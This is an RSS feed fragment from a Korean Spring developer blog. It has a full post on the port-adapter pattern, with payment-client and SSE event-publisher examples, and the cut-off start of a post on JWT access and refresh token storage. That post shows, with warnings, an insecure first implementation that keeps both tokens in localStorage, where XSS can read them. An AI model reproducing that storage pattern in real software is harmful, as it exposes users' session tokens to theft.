      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;426&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mD5Gx/dJMcag50kpX/aejCvbLGoJZJ6qNcGXa8c1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mD5Gx/dJMcag50kpX/aejCvbLGoJZJ6qNcGXa8c1/img.png&quot; data-alt=&quot;Spring &amp;amp;amp; Spring Boot&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mD5Gx/dJMcag50kpX/aejCvbLGoJZJ6qNcGXa8c1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmD5Gx%2FdJMcag50kpX%2FaejCvbLGoJZJ6qNcGXa8c1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;327&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;426&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Spring &amp;amp; Spring Boot&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;포트-어댑터 패턴이란?&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심 비즈니스 로직을 외부 기술로부터 격리하는 아키텍처 스타일이다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소프트웨어 개발 간에는 비즈니스 로직과 외부 기술 연계를 위한 코드가 혼재되는 지점이 있다.&lt;br /&gt;&lt;br /&gt;이 경우 기술 스택을 교체할 때 필연적으로 해당 코드를 수정해야 하는 문제점이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;포트 어댑터 패턴&lt;/b&gt;은 이 문제를 구조적으로 해결한다.&lt;br /&gt;&lt;br /&gt;비즈니스 로직은 &lt;b&gt;인터페이스(포트)&lt;/b&gt; 에만 의존하고,&lt;br /&gt;&lt;br /&gt;실제 기술 연계를 위한 구현은 &lt;b&gt;구현체(어댑터)&lt;/b&gt; 가 담당한다.&lt;br /&gt;&lt;br /&gt;즉, 명확한 역할 분리를 통해 비즈니스 로직과 기술 연계의 영역을 서로 독립적으로 유지하는 것이&lt;br /&gt;&lt;br /&gt;포트 어댑터 패턴의 핵심이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;비즈니스 로직과 외부 기술 연계의 영역이 혼재되어 있는 사례&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적으로 레이어드 아키텍처에서 비즈니스 로직과 외부 기술 연계가 혼재되어 있는 예시를 접할 수 있다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;레이어드 아키텍처는 하나의 애플리케이션을 역할에 따라 계층으로 나누는 아키텍처 스타일이다.&lt;br /&gt;&lt;br /&gt;일반적으로 아래 4개 계층으로 구성된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;Presentation Layer (프레젠테이션 계층)
    - 사용자 인터페이스와 상호작용하는 계층
    - 예: 웹 컨트롤러, API 엔드포인트
Service Layer (애플리케이션 계층)
    - 애플리케이션의 주요 기능과 비즈니스 로직을 담당하는 계층
    - 예: 서비스 클래스
Repository Layer (도메인 계층)
    - 도메인 모델과 데이터베이스 간의 상호작용을 담당하는 계층
    - 예: 리포지토리 인터페이스와 구현체
Database Layer (데이터베이스 계층)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;레이어드 아키텍처에서는 &lt;b&gt;각 계층을 바로 아래 계층에만 의존하는 것&lt;/b&gt;을 원칙으로 한다.&lt;br /&gt;&lt;br /&gt;Controller는 Service를 호출하고, Service는 Repository를 호출하는 방식이다.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Spring에서도 가장 보편적으로 자리잡은 아키텍처 구조이다.&lt;br /&gt;&lt;br /&gt;@Controller, @Service, @Repository로 클래스를 나누는 구조가 바로 이 아키텍처를 적용한 예시이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;하지만, 실제 코드에서는 계층 간의 의존성이 명확하게 지켜지지 않는 경우가 많다.&lt;br /&gt;&lt;br /&gt;Service가 Repository 구현체를 직접 참조하는 아래 코드를 예시로 들어보자.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;axapta&quot;&gt;&lt;code&gt;// 레이어드 아키텍처 &amp;mdash; 문제 상황
@Service
public class PaymentService {

    // 구현체를 직접 참조
    private final InicisPaymentClient paymentClient;

    public void pay(Order order) {
        paymentClient.requestPayment(order.getAmount());
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 코드는 Service에서 InicisPaymentClient를 직접 참조해 결제를 처리하는 구조이다.&lt;br /&gt;&lt;br /&gt;InicisPaymentClient는 KG이니시스 전용 구현체로, 해당 SDK에 종속된 메서드나 예외 처리 방식이 담겨있다.&lt;br /&gt;&lt;br /&gt;이를 Service가 직접 알고 있다는 것은, &quot;비즈니스 로직이 KG이니시스라는 특정 기술 구현에 의존한다&quot;는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;현 구조를 다이어그램으로 표현하면 아래와 같다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;gherkin&quot;&gt;&lt;code&gt;graph TD
    A[비즈니스 로직&amp;lt;br/&amp;gt;PaymentService] --&amp;gt;|직접 참조| B[InicisPaymentClient&amp;lt;br/&amp;gt;KG이니시스]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나중에 토스페이먼츠로 결제 대행사를 변경해야 한다면,&lt;br /&gt;&lt;br /&gt;PaymentService 코드를 직접 수정해야 한다.&lt;br /&gt;&lt;br /&gt;InicisPaymentClient가 TossPaymentClient로 바뀌고, 메서드 시그니처도 다를 수 있어 비즈니스 로직까지 함께 수정해야 하는 상황이 생긴다.&lt;br /&gt;&lt;br /&gt;참조하는 곳이 많을수록 수정 범위는 걷잡을 수 없이 커진다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;개선 방법: 포트와 어댑터&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인터페이스를 포트라고 부르는 이유는 USB 포트와 같은 역할을 하기 때문이다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;노트북 옆면의 USB 포트를 생각해보면 이해가 쉽다.&lt;br /&gt;&lt;br /&gt;USB 포트는 &lt;b&gt;&quot;이 규격을 맞추면 무엇이든 꽂을 수 있다&quot;&lt;/b&gt; 는 약속이다.&lt;br /&gt;&lt;br /&gt;마우스, 키보드, 충전기, 이들은 모두 포트의 규격에 맞추면, 노트북 내부 회로는 바뀌지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;코드에서 &lt;b&gt;포트는 인터페이스&lt;/b&gt;, &lt;b&gt;어댑터는 그 인터페이스의 구현체&lt;/b&gt;다.&lt;br /&gt;&lt;br /&gt;비즈니스 로직은 포트에만 의존하고, 어댑터는 그 규격만 맞추면 언제든 교체할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;java&quot;&gt;&lt;code&gt;// 포트 &amp;mdash; 인터페이스 정의
public interface PaymentClient {
    void pay(int amount);
}

// 어댑터 A &amp;mdash; KG이니시스 구현체
@Component
public class InicisPaymentClient implements PaymentClient {

    @Override
    public void pay(int amount) {
        // KG이니시스 SDK 호출
    }
}

// 어댑터 B &amp;mdash; 토스페이먼츠 구현체
@Component
public class TossPaymentClient implements PaymentClient {

    @Override
    public void pay(int amount) {
        // 토스페이먼츠 SDK 호출
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 &lt;code&gt;PaymentService&lt;/code&gt;는 인터페이스에만 의존한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;less&quot;&gt;&lt;code&gt;// 비즈니스 로직 &amp;mdash; 포트에만 의존
@Service
@RequiredArgsConstructor
public class PaymentService {

    // 인터페이스 타입으로 선언 &amp;mdash; KG이니시스인지 토스페이먼츠인지 알 필요 없음
    private final PaymentClient paymentClient;

    public void pay(Order order) {
        paymentClient.pay(order.getAmount());
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결제 대행사를 바꿔야 한다면?&lt;br /&gt;&lt;br /&gt;PaymentService는 단 한 줄도 건드리지 않는다.&lt;br /&gt;&lt;br /&gt;주입되는 어댑터만 교체하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개선 후의 구조를 다이어그램으로 표현하면 아래와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;armasm&quot;&gt;&lt;code&gt;graph TD
    subgraph 도메인 영역
        A[비즈니스 로직&amp;lt;br/&amp;gt;PaymentService]
        B[포트 인터페이스&amp;lt;br/&amp;gt;PaymentClient]
    end

    subgraph 어댑터 영역
        C[InicisPaymentClient&amp;lt;br/&amp;gt;KG이니시스]
        D[TossPaymentClient&amp;lt;br/&amp;gt;토스페이먼츠]
    end

    A --&amp;gt;|인터페이스만 참조| B
    B --&amp;gt; C
    B --&amp;gt; D&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;어댑터 선택 (Spring 의존성 주입)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 인터페이스를 구현하는 구현체가 여러 개일 때, Spring은 어떤 어댑터를 주입할지 알 수 없다.&lt;br /&gt;&lt;br /&gt;이때 두 가지 방법으로 주입할 어댑터를 지정할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;code&gt;@Primary&lt;/code&gt; &amp;mdash; 여러 구현체 중 기본으로 주입할 어댑터를 지정한다.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;@Qualifier&lt;/code&gt; &amp;mdash; 주입받는 쪽에서 어댑터 이름을 명시적으로 지정한다. 단, 주입받는 코드에 구현체 이름이 노출되어 교체 시 수정이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;일반적으로 &lt;code&gt;@Primary&lt;/code&gt;를 사용하는 것이 교체 비용이 낮다.&lt;/p&gt;
&lt;pre class=&quot;less&quot;&gt;&lt;code&gt;// @Primary &amp;mdash; 기본 어댑터로 KG이니시스를 지정
@Primary
@Component
public class InicisPaymentClient implements PaymentClient {

    @Override
    public void pay(int amount) {
        // KG이니시스 SDK 호출
    }
}

// 토스페이먼츠로 교체할 경우 @Primary를 이쪽으로 이동
@Component
public class TossPaymentClient implements PaymentClient {

    @Override
    public void pay(int amount) {
        // 토스페이먼츠 SDK 호출
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;PaymentService&lt;/code&gt;는 어떤 어댑터가 주입되는지 여전히 알 필요가 없다.&lt;br /&gt;&lt;br /&gt;결제 대행사를 교체할 때 &lt;code&gt;@Primary&lt;/code&gt;의 위치만 옮기면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Spring 포트-어댑터 패턴 적용 사례&lt;/h2&gt;
&lt;pre class=&quot;prolog&quot;&gt;&lt;code&gt;[참고]
하기 구현 예시의 Publisher는 Spring의 이벤트 메커니즘을 의미하는 것이 아니다.
Spring의 `ApplicationEventPublisher`와 `@EventListener`를 먼저 떠올릴 수 있지만,
포트-어댑터 패턴을 적용한 인터페이스이다.

이벤트를 발행하고 리스너가 처리하는 구조는 개념적으로 비슷하지만, 
여기서 말하는 Publisher는 외부 시스템과의 통신을 위한 인터페이스(포트)이다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 LLM API을 순서대로 호출하는 파이프라인 기능을 개발하며,&lt;br /&gt;&lt;br /&gt;각 태스크의 진행 상황을 처리하는 실시간으로 클라이언트에 전달하기 위한 서비스 로직에 포트-어댑터 패턴을 적용한 사례이다.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Publisher는 그 분리 지점에 위치한 포트 인터페이스&lt;/b&gt;이며,&lt;br /&gt;&lt;br /&gt;Polling, SSE(Server-Sent Events), WebSocket 등 여러 전송 방식에 따른 구현체가 존재할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Publisher(포트) 인터페이스 정의&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;// 포트 &amp;mdash; 이벤트 발행 인터페이스
public interface JobEventPublisher {

    void onTaskStart(String jobId, String taskId, int seq);
    void onTaskComplete(String jobId, String taskId, int seq);
    void onJobComplete(String jobId);
    void onJobFailed(String jobId, String errorMessage);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Publisher는 파이프라인 서비스가 태스크의 시작과 완료, 전체 작업의 완료 또는 실패 이벤트를 발행하기 위한 인터페이스이다.&lt;br /&gt;&lt;br /&gt;SSE, WebSocket, Polling 등 다양한 방식으로 구현할 수 있지만, 서비스 로직은 이 인터페이스만을 바라본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;서비스의 비즈니스 로직&lt;/h3&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;// 서비스의 비즈니스 로직 &amp;mdash; 포트에만 의존
@Slf4j
@Service
@RequiredArgsConstructor
public class JobPipelineService {

    private final JobEventPublisher eventPublisher;

    @Async(&quot;jobExecutor&quot;)
    public void run(String jobId, List&amp;lt;Task&amp;gt; tasks) {
        try {
            for (Task task : tasks) {
                eventPublisher.onTaskStart(jobId, task.getId(), task.getSeq());
                String result = callLlmApi(task.getPrompt());
                eventPublisher.onTaskComplete(jobId, task.getId(), task.getSeq());
            }
            eventPublisher.onJobComplete(jobId);

        } catch (Exception e) {
            eventPublisher.onJobFailed(jobId, e.getMessage());
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;JobPipelineService&lt;/code&gt;는 &lt;code&gt;JobEventPublisher&lt;/code&gt; 인터페이스에만 의존한다.&lt;br /&gt;&lt;br /&gt;각 요청이 시작될 때마다 &lt;code&gt;onTaskStart&lt;/code&gt;를 호출하고, 완료될 때마다 &lt;code&gt;onTaskComplete&lt;/code&gt;를 호출한다.&lt;br /&gt;&lt;br /&gt;즉, 서비스 로직은 이벤트 발행의 구체적인 방식에 대해 전혀 알 필요가 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;어댑터 구현 (SSE 전송방식 적용)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;// 어댑터 &amp;mdash; SSE 구현체
@Slf4j
@Component
public class SseJobEventPublisher implements JobEventPublisher {

    private final ConcurrentHashMap&amp;lt;String, SseEmitter&amp;gt; emitters = new ConcurrentHashMap&amp;lt;&amp;gt;();

    public SseEmitter connect(String jobId) {
        SseEmitter emitter = new SseEmitter(300_000L);
        emitters.put(jobId, emitter);
        emitter.onCompletion(() -&amp;gt; emitters.remove(jobId));
        emitter.onTimeout(() -&amp;gt; emitters.remove(jobId));
        return emitter;
    }

    @Override
    public void onTaskComplete(String jobId, String taskId, int seq) {
        SseEmitter emitter = emitters.get(jobId);
        if (emitter == null) return;

        try {
            emitter.send(SseEmitter.event()
                .name(&quot;task-complete&quot;)
                .data(Map.of(&quot;taskId&quot;, taskId, &quot;seq&quot;, seq)));
        } catch (IOException e) {
            emitters.remove(jobId);
        }
    }

    // ... onTaskStart, onJobComplete, onJobFailed 동일한 방식으로 구현
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;armasm&quot;&gt;&lt;code&gt;graph LR
    A[파이프라인&amp;lt;br/&amp;gt;JobPipelineService] --&amp;gt;|onTaskComplete 호출| B[JobEventPublisher&amp;lt;br/&amp;gt;포트]
    B --&amp;gt; C[SseJobEventPublisher&amp;lt;br/&amp;gt;SSE 어댑터]
    B --&amp;gt; D[WebSocketJobEventPublisher&amp;lt;br/&amp;gt;웹소켓 어댑터]
    B --&amp;gt; E[PollingJobEventPublisher&amp;lt;br/&amp;gt;폴링 어댑터]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;어댑터 선택&amp;nbsp; (Spring 의존성 주입)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전송 방식이 결정되면 해당 구현체에 &lt;code&gt;@Primary&lt;/code&gt;를 붙여 기본 어댑터로 지정한다.&lt;br /&gt;&lt;br /&gt;전송 방식이 바뀌더라도 &lt;code&gt;JobPipelineService&lt;/code&gt;는 단 한 줄도 수정하지 않는다.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;@Primary&lt;/code&gt;의 위치만 옮기면 된다.&lt;/p&gt;
&lt;pre class=&quot;less&quot;&gt;&lt;code&gt;// SSE 방식을 기본 어댑터로 지정
@Primary
@Component
public class SseJobEventPublisher implements JobEventPublisher {
    // ...
}

// WebSocket 방식으로 교체할 경우 @Primary를 이쪽으로 이동
@Component
public class WebSocketJobEventPublisher implements JobEventPublisher {
    // ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 포트 어댑터 패턴의 핵심은 서비스가 각 외부 기술의 스펙을 전혀 모른다는 것이다.&lt;br /&gt;&lt;br /&gt;서비스는 비즈니스 로직에만 집중하고, 기술적인 세부 사항은 어댑터가 흡수한다.&lt;br /&gt;&lt;br /&gt;나중에 웹소켓이나 폴링으로 바꾸거나, 세 가지를 동시에 사용해야 한다면 어댑터만 추가하면 된다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>DEV/Spring</category>
      <author>BI3A</author>
      <guid isPermaLink="true">https://doinitright.tistory.com/317</guid>
      <comments>https://doinitright.tistory.com/317#entry317comment</comments>
      <pubDate>Mon, 6 Apr 2026 18:30:42 +0900</pubDate>
    </item>
    <item>
      <title>Access Token, Refresh Token의 개념과 저장 &amp;amp; 전송 방식</title>
      <link>https://doinitright.tistory.com/315</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;790&quot; data-origin-height=&quot;388&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NkVJo/dJMcadO0tQu/ZcxMHd6u8LxKDEyDJwMV1k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NkVJo/dJMcadO0tQu/ZcxMHd6u8LxKDEyDJwMV1k/img.png&quot; data-alt=&quot;About JWT, Access Token과 Refresh Token&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NkVJo/dJMcadO0tQu/ZcxMHd6u8LxKDEyDJwMV1k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNkVJo%2FdJMcadO0tQu%2FZcxMHd6u8LxKDEyDJwMV1k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;790&quot; height=&quot;388&quot; data-origin-width=&quot;790&quot; data-origin-height=&quot;388&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;About JWT, Access Token과 Refresh Token&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;br&gt;
&lt;br&gt;

&lt;h1&gt;Access Token, Refresh Token 저장 &amp;amp; 전송 개발 및 리팩토링&lt;/h1&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;인증 토큰을 어디에 저장하느냐는 보안의 출발점이다.&lt;br&gt;인증 서비스를 구현하며 토큰 저장 및 전송 방식을&lt;br&gt;localStorage에서 시작해 HttpOnly 쿠키, Redis, 프론트엔드 메모리로 단계적으로 개선한 의사결정 과정을 정리한다.&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;br&gt;

&lt;h2&gt;Access Token과 Refresh Token&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;왜 토큰이 두 개인지, 각자 어떤 역할을 하는지부터 짚어본다.&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;JWT(JSON Web Token)를 기반으로 한 인증에서는 두 종류의 토큰을 사용한다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Access Token&lt;/strong&gt;은 API 요청에 직접 첨부하는 짧은 수명의 인증 증표다. 매 요청마다 &lt;code&gt;Authorization: Bearer {token}&lt;/code&gt; 헤더에 담겨 서버로 전달된다.&lt;br&gt;&lt;strong&gt;Refresh Token&lt;/strong&gt;은 Access Token이 만료됐을 때 새로 발급받기 위해 사용하는 긴 수명의 토큰이다. 두 토큰을 분리하는 이유는 하나다. Access Token의 노출 위험을 줄이면서도 사용자가 매번 로그인하지 않아도 되게 하기 위해서다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Access Token: 수명 1시간. 매 API 요청마다 헤더에 첨부된다. 탈취되더라도 짧은 시간 안에 만료된다.&lt;/li&gt;
&lt;li&gt;Refresh Token: 수명 14일. Access Token 재발급 요청 시에만 사용된다. 탈취되면 장기 세션 위협이 된다.&lt;/li&gt;
&lt;li&gt;두 토큰 모두 서명 알고리즘 HS384로 생성되며, 서버의 비밀 키로만 유효성을 검증할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;br&gt;

&lt;h2&gt;기본 인증 흐름&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;두 토큰이 어떻게 협력하는지 데이터 플로우로 살펴본다.&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;pre&gt;&lt;code&gt;sequenceDiagram
    participant Client as 클라이언트 (브라우저)
    participant Server as 서버 (Spring Boot)
    participant Redis

    Client-&amp;gt;&amp;gt;Server: POST /login (OTP 검증)
    Server--&amp;gt;&amp;gt;Client: Access Token (응답 바디) + Refresh Token (HttpOnly 쿠키)

    Client-&amp;gt;&amp;gt;Server: GET /api/resource Authorization: Bearer {accessToken}
    Server--&amp;gt;&amp;gt;Client: 200 OK

    Note over Client,Server: Access Token 만료 (1시간 후)

    Client-&amp;gt;&amp;gt;Server: POST /api/member/refresh (쿠키 자동 첨부)
    Server-&amp;gt;&amp;gt;Redis: Refresh Token 유효성 확인
    Redis--&amp;gt;&amp;gt;Server: memberId 반환
    Server--&amp;gt;&amp;gt;Client: 새 Access Token (응답 바디) + 새 Refresh Token (쿠키 갱신)&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;

&lt;h2&gt;Phase 1 — localStorage에 두 토큰을 모두 저장&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;가장 빠르게 구현할 수 있는 방법이지만, 가장 위험한 방법이기도 하다.&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;br&gt;

&lt;p&gt;&lt;strong&gt;localStorage란?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;localStorage는 브라우저가 제공하는 키-값 저장소다. 탭을 닫거나 새로고침해도 데이터가 유지되고, 같은 도메인이라면 어떤 JavaScript 코드든 &lt;code&gt;window.localStorage&lt;/code&gt;를 통해 자유롭게 읽고 쓸 수 있다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;장점: 새로고침 후에도 데이터가 유지된다. 구현이 단순하다.&lt;/li&gt;
&lt;li&gt;단점: 같은 도메인의 모든 JS에서 접근 가능하다. XSS(Cross-Site Scripting) 공격으로 악성 스크립트가 삽입되면 저장된 토큰을 그대로 읽어갈 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;br&gt;

&lt;p&gt;&lt;strong&gt;ASIS: 초기 구현&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;로그인 성공 시 서버가 응답 바디에 accessToken과 refreshToken을 모두 반환했다. 프론트엔드는 이 두 값을 localStorage에 저장했다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// api.ts — 초기 구현
axiosInstance.interceptors.request.use((config) =&amp;gt; {
  const token = localStorage.getItem(&amp;#39;accessToken&amp;#39;); // ⚠️ XSS로 접근 가능
  if (token) config.headers.Authorization = `Bearer ${token}`;
  return config;
});

// 401 수신 시 refreshToken을 꺼내 재발급 요청
const refreshToken = localStorage.getItem(&amp;#39;refreshToken&amp;#39;); // ⚠️ 마찬가지로 노출
const { data } = await axiosInstance.post(&amp;#39;/api/auth/refresh&amp;#39;, { refreshToken });
localStorage.setItem(&amp;#39;accessToken&amp;#39;, data.data.accessToken);
localStorage.setItem(&amp;#39;refreshToken&amp;#39;, data.data.refreshToken);&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;// AuthController.java — 초기 구현
